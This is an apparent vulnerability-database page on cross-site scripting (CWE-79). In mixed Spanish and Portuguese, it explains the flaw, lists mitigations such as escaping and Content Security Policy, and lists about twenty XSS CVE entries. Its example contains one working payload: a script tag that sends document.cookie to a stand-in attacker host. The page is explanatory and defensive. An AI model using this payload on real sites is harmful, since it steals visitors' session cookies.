Fallos del tipo CWE-79

30.295 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-44180MEDIUMPhpgurukul Vehicle Record Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in /edit-brand.php?bid={brandId}.EPSS 0.3%CVE-2026-58035NONEStored XSS through a system message in the codex version of Special:BlockEPSS 0.3%CVE-2024-51762HIGHWordPress PropertyShift plugin <= 1.0.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51693HIGHWordPress Search order by product SKU for WooCommerce plugin <= 0.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51695HIGHWordPress Fabrica Synced Pattern Instances plugin <= 1.0.8 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51706HIGHWordPress UW Freelancer plugin <= 0.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-47300HIGHWordPress CubeWP Forms plugin <= 1.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-49308HIGHWordPress Animator – Scroll Triggered Animations plugin <= 3.0.15 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-13659MEDIUMListamester <= 2.3.4 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-5383MEDIUMYifang CMS Article Management Module cross site scriptingEPSS 0.3%CVE-2026-58034NONEStored XSS through a system message when blocking a temporary account that's related to other temporary accountsEPSS 0.3%CVE-2024-56223HIGHWordPress Gulri Slider plugin <= 3.5.8 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-49912MEDIUMWordPress Email Subscription Popup plugin <= 1.2.26 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-46827HIGHGraylog Allows Session Takeover via Insufficient HTML SanitizationEPSS 0.3%CVE-2026-28871MEDIUMA logic issue was addressed with improved checks. This issue is fixed in Safari 26.4, iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4EPSS 0.3%CVE-2025-12269MEDIUMLearnHouse Account Setting previews cross site scriptingEPSS 0.3%CVE-2023-28148HIGHA bodyclass XSS issue was discovered in Paessler PRTG before 23.3.86.1520.EPSS 0.3%CVE-2024-51711HIGHWordPress Saragna plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-47500MEDIUMWordPress Stackable plugin <= 3.19.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-45751MEDIUMSourceCodester Web Based Pharmacy Product Management System 1.0 is vulnerable to Cross Site Scripting (XSS) in add-admin.php via the FullnamEPSS 0.3%